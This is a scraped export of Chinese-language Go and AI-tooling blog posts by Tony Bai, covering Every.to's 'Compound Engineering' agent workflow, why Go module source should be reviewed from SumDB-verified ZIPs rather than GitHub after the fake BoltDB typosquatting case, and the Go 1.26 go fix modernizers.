渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/21/safety-vs-delivery-speed-why-farewell-rust-in-2026/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/safety-vs-delivery-speed-why-farewell-rust-in-2026-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/21/safety-vs-delivery-speed-why-farewell-rust-in-2026\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/21/safety-vs-delivery-speed-why-farewell-rust-in-2026\"\u003ehttps://tonybai.com/2026/02/21/safety-vs-delivery-speed-why-farewell-rust-in-2026\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程的铁三角中，Rust 占据了“安全性”与“性能”的绝对高地。凭借借用检查器（Borrow Checker）和极其严格的类型系统，它向开发者承诺了一个没有内存错误、没有空指针崩溃的完美世界。\u003c/p\u003e","title":"当“安全性”遭遇“交付速度”：2026 年，我为什么告别了 Rust"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/21/compound-engineering-ai-native-software-development-philosophy\n大家好，我是Tony Bai。\n在 2024 年和 2025 年，开发者们经历了一场狂欢。从 GitHub Copilot 到 Cursor，再到 Claude Code，我们习惯了通过自然语言生成代码。然而，随着项目规模的扩大，许多团队发现了一个尴尬的现象：AI 带来的加速度开始衰减。\n为什么？因为传统的软件开发是线性的。你解决了一个 Bug，写了一个功能，代码库变大了，但也变得更复杂了。复杂度是软件工程的头号杀手。在传统模式下，新功能的开发往往是对旧代码的妥协。\n而在 AI 辅助开发中，如果我们只是把 AI 当作一个更快的打字机，我们只是在以更快的速度制造“遗留代码（Legacy Code）”。每一次对话结束后，AI 对项目的理解（Context）往往随着会话窗口的关闭而重置。下一次，你不仅要重新解释需求，还要面对上次 AI 生成的、你可能都没完全读懂的代码。\nEvery.to 发布的最新报告《Compound Engineering: The AI-native engineering philosophy》中提出了 “复利工程（Compound Engineering）”，正是为了解决这个问题而生。这是一种哲学——如何让每一次开发迭代，都成为系统智慧的积累，而非技术债务的堆叠。它的核心理念颠覆了我们对软件资产的定义：代码本身不再是最重要的资产，系统对业务逻辑、设计规范和架构决策的“记忆”才是。\n本文将深度拆解这一理念，探讨如何构建一个能够“自我进化”的 AI 开发系统。\n什么是复利工程？ 复利工程是一种 AI 原生的工程哲学。它要求我们将开发过程视为一个闭环系统，每一次迭代不仅要交付功能，更要沉淀知识。\n在这个体系中，软件开发不再是简单的“编写代码”，而是由四个步骤组成的无限循环：\nPlan（规划）-\u0026gt; Work（执行）-\u0026gt; Review（审查）-\u0026gt; Compound（复利/沉淀） 这看似普通的四个词，在 Agentic AI（智能体式 AI）的加持下，拥有了全新的含义。\n在传统开发中，工程师是全能工匠。而在复利工程中，工程师晋升为**“系统架构师”和“智能体指挥官”**。\n旧模式：工程师思考 -\u0026gt; 编写 Spec -\u0026gt; 工程师写代码 -\u0026gt; 工程师 Review -\u0026gt; 迭代。 新模式：工程师定义目标 -\u0026gt; 智能体规划 -\u0026gt; 智能体集群并发执行 -\u0026gt; 智能体集群多维审查 -\u0026gt; 系统自动沉淀知识 -\u0026gt; 工程师验收。 这种转变要求我们放弃对“手写每一行代码”的执念，转而专注于如何教 AI 学会我们的品味（Taste）和规范。\n深度拆解：复利工程的四大循环 让我们深入技术细节，看看这四个步骤是如何在实际的 AI 原生工作流中落地的。\n第一步：Plan（规划）—— 模糊性的消亡 在 AI 开发中，模糊是最大的敌人。如果需求描述不清，AI 会用幻觉填补空白，导致灾难性的后果。\n复利工程要求在写第一行代码前，进行极度详尽的规划。但这不再需要工程师耗费数小时。\n通过 workflows:brainstorm 和 workflows:plan 等指令，我们可以让 AI：\n理解需求：不仅仅是“做什么”，更是“为什么做”以及“有哪些限制”。 研究代码库：AI 自动扫描现有架构，确保新功能不会破坏原有逻辑。 外部调研：自动查阅框架文档、最佳实践，甚至 StackOverflow 的解决方案。 设计方案：输出一份详尽的 PLAN.md。 这个阶段的产出物不是代码，而是决策。工程师的职责是在这个阶段介入，确认 AI 的路径是否正确。只要 Plan 是对的，执行只是算力问题。\n第二步：Work（执行）—— 并发与隔离 这是复利工程最“暴力美学”的部分。\n传统的开发者一次只能写一个文件，修一个 Bug。但在 Agent 原生架构中，我们可以利用 Git Worktree 或分支技术，实现并发执行。\n通过 workflows:work，系统可以：\n创建隔离环境：为每个任务创建一个独立的分支或 Worktree。 自动执行：AI 根据 Plan 编写代码。 自我验证：自动运行 Linter、Type Checker 和单元测试。 进度追踪：实时监控任务状态。 这彻底改变了“速度”的定义。速度不再取决于你的打字速度，而取决于你能同时指挥多少个 Agent 并行工作。\n第三步：Review（审查）—— AI 审查委员会 这是质量控制的核心。在复利工程中，Review 不再仅仅依赖疲惫的同事，而是由一个专门训练的 Agent 审查委员会先行把关。\nEvery 的实践中，workflows:review 会唤起 14 个以上的专业 Agent，每个 Agent 佩戴不同的“透镜”：\nSecurity Sentinel（安全哨兵）：扫描 SQL 注入、权限绕过等 OWASP 漏洞。 Performance Oracle（性能先知）：寻找 N+1 查询、无效索引、内存泄漏风险。 Data Integrity Guardian（数据完整性卫士）：确保事务边界正确，数据迁移安全。 Code Simplicity Reviewer（代码极简主义者）：强制执行 YAGNI 原则，删除过度设计的代码。 Design Sync（设计同步者）：对比 Figma 设计稿与实现代码的像素级差异。 这些 Agent 不会疲倦，不会因为人情世故而放水。它们会输出一份包含 P1 (Critical) 到 P3 (Nit) 的详细报告。工程师只需要做最后的“法官”，决定是否合并。\n第四步：Compound（复利）—— 灵魂所在 这是大多数 AI 工作流缺失的一环，也是“复利工程”得名的原因。\n仅仅完成任务是不够的，我们必须让系统变得更聪明。\n在 workflows:compound 阶段，系统会执行以下操作：\n捕获解决方案：AI 刚刚解决了什么难题？它是如何解决的？ 知识结构化：将这些隐性知识（Tacit Knowledge）转化为显性的文档、规则或 Skill。 更新系统记忆： * 更新 CLAUDE.md：将新的代码规范、最佳实践写入系统级 Prompt 文件。 * 创建新的 Skill：如果发现某个操作是重复的（例如“生成数据库迁移脚本”），自动将其封装为一个可复用的 Skill。 * 优化检索标签：确保这些新知识在未来的任务中能被 RAG 系统准确检索到。 随着时间的推移，你的 AI 队友越来越懂你。它不再会犯同样的错误，不再需要你重复解释“我们团队使用 Kebab-case 而不是 CamelCase”。系统随着开发而生长，这就是复利。\n必要的信念重塑：我们要遗忘什么？ 要实施复利工程，技术栈的升级只是表象，更难的是工程师思维模式的转变。报告中列举了我们需要“遗忘”和“采纳”的信念。\n需要遗忘的旧信念 “代码必须由人手写” * 新现实： 你的工作是交付价值，代码只是中间产物。只要代码是可维护、可测试、符合规范的，谁写的并不重要。\n“每一行代码都需要人工审查” * 新现实： 这是瓶颈所在。对于常规逻辑，应信任自动化的 Agent Review 体系，人类只审查关键的架构决策和高风险逻辑。\n“第一次尝试必须是完美的” * 新现实： AI 的边际成本极低。即使 AI 写了 95% 的垃圾代码，只要我们有机制快速筛选出那 5% 的精华，也是值得的。迭代速度 \u0026gt; 初始质量。\n“写代码不仅是工作，更是自我表达” * 新现实： 这是一个痛苦的割舍。在商业软件开发中，我们要追求的是标准化和效率。将自我表达留在业余项目或架构设计中，而不是具体的实现细节里。\n需要采纳的新信念 “将你的品味（Taste）提取到系统中” * 你对代码的审美、对架构的洁癖，不应该只存在于你的脑子里，而应该变成 CLAUDE.md 中的规则，变成 Lint 的配置，变成 Agent 的 System Prompt。\n“50/50 法则” * 未来工程师的时间分配应该是：50% 用于规划（Planning）和沉淀（Compounding），50% 用于执行（Implementation）。以前这个比例可能是 10% / 90%。\n“环境必须是 Agent-Native 的” * 如果一个任务（如运行测试、查看日志、截屏）人类能做但 Agent 做不了，那就是架构的缺陷。必须为 Agent 提供全套的 CLI 工具和 API 接口。\n进阶实战：不仅是代码 复利工程的威力不仅限于后端开发，它正在渗透到软件生产的每一个环节。\nVibe Coding 与设计 对于前端和设计领域，报告提出了 “The Baby App Approach”（婴儿应用法）。\n与其在庞大的生产库中小心翼翼地修改 UI，不如让 Agent 快速生成一个独立的、抛弃型的原型应用（Baby App）。\n在这个沙盒中，你可以通过自然语言极速迭代设计（Vibe Coding），直到满意为止。然后，通过 Design Agents 提取其中的设计系统（颜色、间距、组件模式），再将其应用回主代码库。\n这解决了“在屎山上雕花”的风险，让创新变得零成本。\n用户研究与角色模拟 传统的用户研究耗时耗力。在复利工程中，我们可以创建 Persona Agents（角色智能体）。\n将用户访谈记录、通过 Descript 转录的文本喂给 AI，构建出代表典型用户的 Agent（如“忙碌的营销经理 Sarah”）。\n在开发新功能时，先让 Sarah Agent 试用并反馈：“这个仪表盘数据太多了，我早上只有 5 分钟时间看，这对我没用。”\n这缩短了反馈循环，从几周（等待用户测试）缩短到几分钟。\n市场与文档 Copywriting Agent 可以学习你过往所有的博文和文档，掌握你的语调（Voice）。\nChangelog Agent 可以监控 Git Commit，自动生成发布说明。\n这些都不是简单的生成，而是基于“复利”——它们知道哪些功能是用户关心的，哪些只是底层重构，从而写出真正有价值的文档。\n如何开始？成熟度模型 实施复利工程不可能一蹴而就。Every 提出了一个 0 到 5 的成熟度模型，你可以对照自查：\nStage 0: 手工开发 (Manual)\n纯手写，StackOverflow 是主要帮手。 Stage 1: 基于聊天的辅助 (Chat-based)\n使用 ChatGPT 或 Claude 网页版，复制粘贴代码。效率提升，但上下文割裂。 Stage 2: 逐行审查的 Agent 工具 (Agentic Tools)\n使用 Cursor Composer 或 Claude Code。AI 可以读取文件、修改代码，但人类仍需像保姆一样盯着每一步。这是目前大多数 Early Adopter 所处的阶段。 Stage 3: 计划优先，PR 级审查 (Plan-first, PR-only review)\n关键跃迁点。 人类只参与 Planning 和最终 PR Review。中间过程由 AI 自主完成。开始建立 CLAUDE.md 等沉淀机制。 Stage 4: 从想法到 PR (Idea to PR)\nAI 自主进行调研、规划、执行、自我审查。人类只需给出一个模糊的想法。 Stage 5: 云端并发执行 (Parallel Cloud Execution)\n脱离本地机器，Agent 在云端沙箱中并发运行。你喝着咖啡，手机上收到 5 个已完成功能的 PR 通知。 你的目标，应该是尽快从 Stage 2 跨越到 Stage 3。\n小结：拥抱从量变到质变的飞跃 复利工程的核心不在于某个具体的 Prompt 或工具，而在于“积累”。\n在传统开发中，随着项目老化，开发速度必然下降（熵增定律）。\n但在复利工程中，随着 Skill 的积累、CLAUDE.md 的完善、测试覆盖率的提升，开发速度是加速的。你的系统越庞大，AI 可用的“积木”越多，它构建新功能就越快。\n这是一种反直觉的体验，也是 AI Native 时代最大的红利。\n正如报告中所说：“Ship more value. Type less code.”（交付更多价值，少敲代码。）\n这不仅是愿景，更是每一位工程师在这个时代保持竞争力的必经之路。\n开始行动吧，别让你的代码库只有“债务”，没有“复利”。\n资料链接：https://every.to/guides/compound-engineering\n你处在哪个 Stage？\n对照文中的“成熟度模型”，你目前的 AI 协作处于第几阶段？在你的开发流中，是否已经开始尝试利用 CLAUDE.md 或自定义 Skill 来实现“知识沉淀”？你认为“代码不再是最重要资产”这一观点激进吗？\n欢迎在评论区分享你的 2026 进化心得！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/21/compound-engineering-ai-native-software-development-philosophy/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/compound-engineering-ai-native-software-development-philosophy-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/21/compound-engineering-ai-native-software-development-philosophy\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/21/compound-engineering-ai-native-software-development-philosophy\"\u003ehttps://tonybai.com/2026/02/21/compound-engineering-ai-native-software-development-philosophy\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 2024 年和 2025 年，开发者们经历了一场狂欢。从 GitHub Copilot 到 Cursor，再到 Claude Code，我们习惯了通过自然语言生成代码。然而，随着项目规模的扩大，许多团队发现了一个尴尬的现象：\u003cstrong\u003eAI 带来的加速度开始衰减。\u003c/strong\u003e\u003c/p\u003e","title":"复利工程（Compound Engineering）：AI 原生时代的软件开发新哲学"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/20/why-we-need-new-go-module-review-mechanism\n大家好，我是Tony Bai。\n你以为你在 GitHub 上看到的代码，就是你的 Go 程序编译时使用的代码吗？答案可能令你背脊发凉。\n在 Go 语言的生态系统中，我们一直引以为傲的是其卓越的包管理和安全性。Go Checksum Database（校验和数据库）被公认为现代编程语言中最强大的完整性保障机制之一。然而，前 Go 安全团队负责人、著名的密码学家 Filippo Valsorda 在最近的一篇文章中揭示了一个令人不安的真相：虽然 Go 的工具链是安全的，但我们人类审查代码的方式却存在巨大的安全漏洞。\n本文将深入探讨这一安全隐患的成因，剖析著名的“虚假 BoltDB”攻击案例，并介绍 Filippo 及其团队 Geomys 推出的解决方案——pkg.geomys.dev，一个致力于填补这一信任缺口的源码查看服务。\nGo 的安全基石：坚不可摧的 SumDB 在深入探讨漏洞之前，我们有必要先回顾一下 Go 语言为何被誉为拥有“无可争议的最佳包完整性故事”。这主要归功于 Go Checksum Database (SumDB)。\nGo 模块的获取本质上是去中心化的。你可以直接从 GitHub、GitLab 或任何 Git 托管服务上拉取代码。例如，当你运行 go get github.com/example/mod@v1.2.3 时，Go 工具链（在 GOPROXY=direct 模式下）会直接克隆对应的 Git 仓库并检出 v1.2.3 标签。\n这种去中心化虽然灵活，但带来了巨大的安全风险：如果代码托管方（如 GitHub）被入侵，或者作者遭受胁迫修改了代码，亦或是作者恶意 Force-push（强制推送）覆盖了标签，下游用户该如何察觉？\nSumDB 应运而生。它的工作原理如下：\n首次记录：当某个模块版本第一次被 Go 生态系统中的任何人请求时，Go 代理（Proxy）会下载该模块，计算其内容的加密哈希值，并将其永久记录在 SumDB 中。 永久锁定：SumDB 是一个透明日志（Transparency Log），类似于区块链的 Merkle Tree 结构。这意味着记录一旦写入，就无法被篡改或删除（即使是 Google 也做不到）。 全网一致：此后，世界上任何一台机器下载该版本的模块时，Go 工具链都会计算本地下载内容的哈希，并与 SumDB 中的记录比对。如果 GitHub 上的标签被篡改导致哈希不匹配，构建将直接失败。 这种机制比传统的 PGP 签名或作者管理私钥要实用得多，同时提供了极高的安全性保障。\n信任链的断裂：人类的“弱点” 既然 SumDB 如此完美，漏洞从何而来？\nFilippo 指出，漏洞不在于机器，而在于人。\n每当我们直接在代码托管平台（如 GitHub）上阅读代码时，我们就引入了一个薄弱环节。\nGo 工具链验证的是下载到本地缓存中的 ZIP 包的哈希值。而我们在浏览器中打开 https://github.com/example/mod/blob/v1.2.3/exp.go 时，看到的是 GitHub 当前展示的 v1.2.3 标签对应的内容。\n关键问题在于：Git 标签是可变的（Mutable）。GitHub 允许维护者强制推送标签。一个恶意的维护者（或攻击者）可以这样做：\n发布一个包含恶意代码的 v1.2.3 版本。 诱导受害者（或通过自动化的 Go Proxy）下载该版本，使其恶意哈希被记录在 SumDB 中。 立即 Force-push 一个“干净”的 v1.2.3 版本覆盖原标签。 当安全研究员或用户去 GitHub 审查代码时，他们看到的是干净的代码，认为一切正常。 但受害者的 go.sum 中已经锁定了那个恶意的哈希，他们的构建使用的是恶意代码。 这种“狸猫换太子”的攻击方式，利用了 Web 界面（GitHub）与构建工具（Go Toolchain）之间的数据源不一致。\n真实案例回顾：虚假 BoltDB 投毒事件 这并非理论上的恐慌，而是已经发生的现实。\n去年，Go 生态系统遭受了一次经典的域名抢注（Typosquatting）攻击。攻击者发布了一个名为“BoltDB”的虚假模块（利用了大小写或相似名称的混淆）。为了掩人耳目，攻击者利用了上述机制：\n恶意代码被发布并被 Go Proxy 缓存。 随后，攻击者向 GitHub 强制推送了无害的代码。 当社区发现有可疑模块并试图去 GitHub 审查时，看到的只有人畜无害的代码逻辑。 当时，一些评论员错误地将此归咎于 Go Module Mirror 的缓存机制。但 Filippo 一针见血地指出：这本质上是利用了 GitHub Web 界面天然缺乏验证机制的漏洞。GitHub 展示的代码，并不是 Go 工具链正在使用的、经过 SumDB 验证的“真实”代码。\n如何正确地审查 Go 模块？ 既然 GitHub 不可信，作为开发者，我们该如何确保自己在审查“正确”的代码？\n方案 A：本地硬核审查（CLI） 最安全的方法是将 Go 工具链实际使用的代码下载到本地进行审查。Filippo 给出了一个基于命令行的解决方案：\ncd $(go mod download -json filippo.io/age@v1.3.1 | jq -r .Dir) 这条命令做了三件事：\ngo mod download：通过 Go 代理下载指定版本的模块，并自动进行 SumDB 校验。 -json：输出模块的元数据，包括其在本地缓存中的解压路径。 cd：直接进入该目录。 在这个目录中看到的代码，才是绝对真实、不可抵赖的代码。此外，Go 团队也正在开发 go mod verify -tag 命令（预计将在Go 1.27版本落地），用于验证本地 Git 仓库的内容是否与 SumDB 匹配，这将进一步简化本地审查流程。\n方案 B：全新的在线审查工具——pkg.geomys.dev 虽然本地审查最安全，但不得不承认，在浏览器中点击 pkg.go.dev 的链接查看源码实在是太方便了。为了在“便利性”和“安全性”之间取得平衡，Filippo Valsorda 开发了一个全新的服务：pkg.geomys.dev。\n这是一个类似于 go-mod-viewer 的源码查看器，但它在设计上完全针对安全性与现代体验进行了优化。它的核心价值在于：展示经 Go Proxy 和 SumDB 确认的、真实的 ZIP 包内容，而非 GitHub 上的 Git 仓库内容。\n其核心特性包括：\n真实源头：它不克隆 Git 仓库，而是直接处理 Go 模块的 ZIP 归档文件。这确保了你看到的代码与 go get 下载的代码完全一致。 优秀的阅读体验：支持语法高亮、行/多行链接、多种字体选择、自动暗色模式，以及完整的文件树和版本浏览器。 浏览器插件支持：Filippo 提供了 Chrome 和 Firefox 插件。安装后，当你在官方的 pkg.go.dev 上点击源码链接时，它会自动将原本指向 GitHub 的链接重定向到 pkg.geomys.dev，实现无缝的安全升级。 它是如何工作的呢？\n这个服务的实现非常精妙，充分利用了现代 Web 技术：\nHTTP Range 请求：它不需要下载整个模块的 ZIP 包。通过 HTTP Range 请求，它只获取 ZIP 文件的目录结构和特定文件的压缩数据。 浏览器端解压：解压缩过程直接在用户的浏览器中完成。这不仅减轻了服务器压力，也提高了响应速度。 未来的去中心化：目前的版本信任 Google 的 Module Proxy 提供的 ZIP 文件。Filippo 计划在未来（待 proxy.golang.org 修复 CORS 配置后）引入透明日志证明检查。届时，浏览器将能独立计算目录哈希（Dirhash），并与 SumDB 进行比对，甚至通过第三方八卦协议（Gossip）验证 SumDB 的一致性，从而实现真正的“零信任”安全查看。 对 Go 生态系统的启示 Filippo 的这项工作（以及背后的 Geomys 组织）不仅仅是造了一个轮子，它向整个软件供应链安全领域提出了一个严肃的问题：我们所依赖的基础设施，是否能够支撑“代码即法律”的信任？\n长期以来，我们将 GitHub 视为代码的“真理之源”。但在现代包管理机制下，真理之源已经转移到了不可篡改的构件（Artifacts）和透明日志上。Go 语言通过 SumDB 先行一步，而工具链的配套设施（如 IDE、代码浏览器）也必须跟上这一步伐。\n此外，Geomys 组织的运作模式也值得关注。它是由 Ava Labs、Teleport、Tailscale 和 Sentry 等知名科技公司资助的专业维护者组织。这种通过商业公司联合资助关键开源基础设施维护者的模式，或许是解决开源可持续性问题的一条新出路。\n小结：与行动建议 作为一名负责任的 Go 开发者，我们应当意识到“便利”背后的代价。为了防止下一个“虚假 BoltDB”事件发生在你的项目中，我们建议：\n改变习惯：在进行安全性要求较高的代码审查（Security Review）时，不要盲目信任 GitHub 的 Web 界面。 尝试新工具：安装 pkg.geomys.dev 的浏览器插件，将你的默认源码查看器切换到更安全的模式。这不仅是为了安全，也是为了获得比 GitHub 更纯粹的阅读体验。 理解机制：深入理解 go.sum 和 SumDB 的工作原理。它们不是为了给 Git 仓库做备份，而是为了构建一个独立于代码托管商之外的信任锚点。 安全，往往隐藏在这些看似微不足道的细节之中。\n参考链接：\nInspecting the Source of Go Modules – Filippo Valsorda pkg.geomys.dev 你会怎么审代码？\n习惯了在网页上“指点江山”的我们，可能都忽略了 ZIP 归档才是唯一的真理。在你的开发流程中，是否也曾遇到过 GitHub 源码与本地代码不一致的“灵异事件”？你会为了安全而安装那个将链接重定向到 pkg.geomys.dev 的插件吗？\n欢迎在评论区分享你的安全观！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/20/why-we-need-new-go-module-review-mechanism/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-we-need-new-go-module-review-mechanism-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/20/why-we-need-new-go-module-review-mechanism\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/20/why-we-need-new-go-module-review-mechanism\"\u003ehttps://tonybai.com/2026/02/20/why-we-need-new-go-module-review-mechanism\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e你以为你在 GitHub 上看到的代码，就是你的 Go 程序编译时使用的代码吗？答案可能令你背脊发凉。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的生态系统中，我们一直引以为傲的是其卓越的包管理和安全性。Go Checksum Database（校验和数据库）被公认为现代编程语言中最强大的完整性保障机制之一。然而，前 Go 安全团队负责人、著名的密码学家 Filippo Valsorda 在\u003ca href=\"https://words.filippo.io/go-source/\"\u003e最近的一篇文章\u003c/a\u003e中揭示了一个令人不安的真相：\u003cstrong\u003e虽然 Go 的工具链是安全的，但我们人类审查代码的方式却存在巨大的安全漏洞。\u003c/strong\u003e\u003c/p\u003e","title":"别再轻信 GitHub 上的源码：为何我们需要全新的 Go 模块审查机制？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/19/using-go-fix-to-modernize-go-code\n大家好，我是Tony Bai。\n2026年2月，Go 1.26 正式发布。除了语言层面的新特性（如 new(expr)）和运行时的性能提升（如 Green Tea GC）之外，工具链迎来了一次史诗级的升级：go fix 命令被彻底重写。\n在过去，go fix 更多是用来解决破坏性变更的“补救工具”（例如 Go 1.4 到 Go 1.5 的迁移）。但在 Go 1.26 中，它华丽转身，成为了一个代码现代化（Modernization）的利器。它不再仅仅是修复错误，而是主动帮助你将代码升级到 Go 的最新惯用法（Idioms）。\n本文将基于 Alan Donovan 的官方博文，深度解析新版 go fix 的工作原理、核心特性——Modernizers（现代化器），以及其背后的分析框架架构。旨在帮助你彻底掌握这一新工具，让你的 Go 代码库焕发新生。\n背景 随着 Go 语言进入“后泛型时代”（Post-Go 1.18），语言特性的演进速度明显加快。从 strings.Cut 到 min/max 内置函数，再到 range-over-func，每一个版本都在引入更简洁、更高效的表达方式。\n然而，现实是残酷的：代码库具有巨大的惯性。\n大多数现存的 Go 代码依然停留在几年前的写法上。更糟糕的是，随着 LLM（大语言模型）编程助手的普及，AI 正在基于海量的旧代码进行训练。这就导致了一个恶性循环：AI 学习了旧的写法，生成了旧的写法，开发者接受了旧的写法，进一步污染了语料库。\nGo 团队意识到了这一点。为了打破这个循环，确保未来的模型和新加入的开发者能够掌握最新的 Go 习惯用法，Go 1.26 推出了全新的 go fix。它利用了一套复杂的静态分析算法，自动识别并重构代码，使其拥抱现代化的 Go。\ngo fix 的全新打开方式 新版的 go fix 在使用体验上向 go build 和 go vet 看齐。它接受标准的包模式（Package Patterns）。\n1. 基础用法 要“修复”当前目录及其子目录下的所有包，只需运行：\n$ go fix ./... 如果运行成功，它会静默地直接修改你的源文件。\n注意：go fix 会自动忽略生成的文件（Generated Files），因为对生成文件的修复应该在生成器本身中进行，而不是在产物中。\n2. 预览变更：-diff 由于 go fix 可能会瞬间修改成百上千个文件，直接运行可能让人心惊肉跳。Go 团队贴心地提供了 -diff 标志，让你在应用变更前先进行预览：\n$ go fix -diff ./... --- dir/file.go (old) +++ dir/file.go (new) - eq := strings.IndexByte(pair, \u0026#39;=\u0026#39;) - result[pair[:eq]] = pair[1+eq:] + before, after, _ := strings.Cut(pair, \u0026#34;=\u0026#34;) + result[before] = after ... 因此，我们强烈建议每次升级 Go 工具链版本后，都对项目运行一次 go fix。在运行前，请确保 Git 工作区是干净的，这样你可以清晰地查看 go fix 带来的改动，并方便同事进行 Code Review。\n3. 选择性执行 默认情况下，go fix 会运行所有注册的分析器。但在大型项目中，为了减轻 Code Review 的负担，你可能希望一次只应用一种类型的修复。\n你可以通过 go tool fix help 查看所有可用的分析器：\n$go tool fix help fix is a tool for static analysis of Go programs. fix examines Go source code and reports diagnostics for suspicious constructs or opportunities for improvement. Diagnostics may include suggested fixes. An example of a suspicious construct is a Printf call whose arguments do not align with the format string. Analyzers may use heuristics that do not guarantee all reports are genuine problems, but can find mistakes not caught by the compiler. An example of an opportunity for improvement is a loop over strings.Split(doc, \u0026#34;\\n\u0026#34;), which may be replaced by a loop over the strings.SplitSeq iterator, avoiding an array allocation. Diagnostics in such cases may report non-problems, but should carry fixes that may be safely applied. For analyzers of the first kind, use \u0026#34;go vet -vettool=PROGRAM\u0026#34; to run the tool and report diagnostics. For analyzers of the second kind, use \u0026#34;go fix -fixtool=PROGRAM\u0026#34; to run the tool and apply the fixes it suggests. Registered analyzers: any replace interface{} with any buildtag check //go:build and // +build directives fmtappendf replace []byte(fmt.Sprintf) with fmt.Appendf forvar remove redundant re-declaration of loop variables hostport check format of addresses passed to net.Dial inline apply fixes based on \u0026#39;go:fix inline\u0026#39; comment directives mapsloop replace explicit loops over maps with calls to maps package minmax replace if/else statements with calls to min or max newexpr simplify code by using go1.26\u0026#39;s new(expr) omitzero suggest replacing omitempty with omitzero for struct fields plusbuild remove obsolete //+build comments rangeint replace 3-clause for loops with for-range over integers reflecttypefor replace reflect.TypeOf(x) with TypeFor[T]() slicescontains replace loops with slices.Contains or slices.ContainsFunc slicessort replace sort.Slice with slices.Sort for basic types stditerators use iterators instead of Len/At-style APIs stringsbuilder replace += with strings.Builder stringscut replace strings.Index etc. with strings.Cut stringscutprefix replace HasPrefix/TrimPrefix with CutPrefix stringsseq replace ranging over Split/Fields with SplitSeq/FieldsSeq testingcontext replace context.WithCancel with t.Context in tests waitgroup replace wg.Add(1)/go/wg.Done() with wg.Go By default all analyzers are run. ... ... 要查看特定分析器的文档：\n$ go tool fix help forvar forvar: remove redundant re-declaration of loop variables The forvar analyzer removes unnecessary shadowing of loop variables. Before Go 1.22, it was common to write for _, x := range s { x := x ... } to create a fresh variable for each iteration. Go 1.22 changed the semantics of for loops, making this pattern redundant. This analyzer removes the unnecessary x := x statement. This fix only applies to range loops. 要单独运行某个分析器（例如 any），可以使用对应的标志：\n$ go fix -any ./... 反之，如果你想运行除了 any 之外的所有分析器，可以将其禁用：\n$ go fix -any=false ./... 4. 交叉平台修复 和 go vet 一样，go fix 也是基于特定的构建配置（Build Configuration）进行分析的。如果你的项目包含大量特定于平台的文件（例如 _linux.go, _windows.go），建议针对不同的 GOOS 和 GOARCH 多次运行：\n$ GOOS=linux GOARCH=amd64 go fix ./... $ GOOS=darwin GOARCH=arm64 go fix 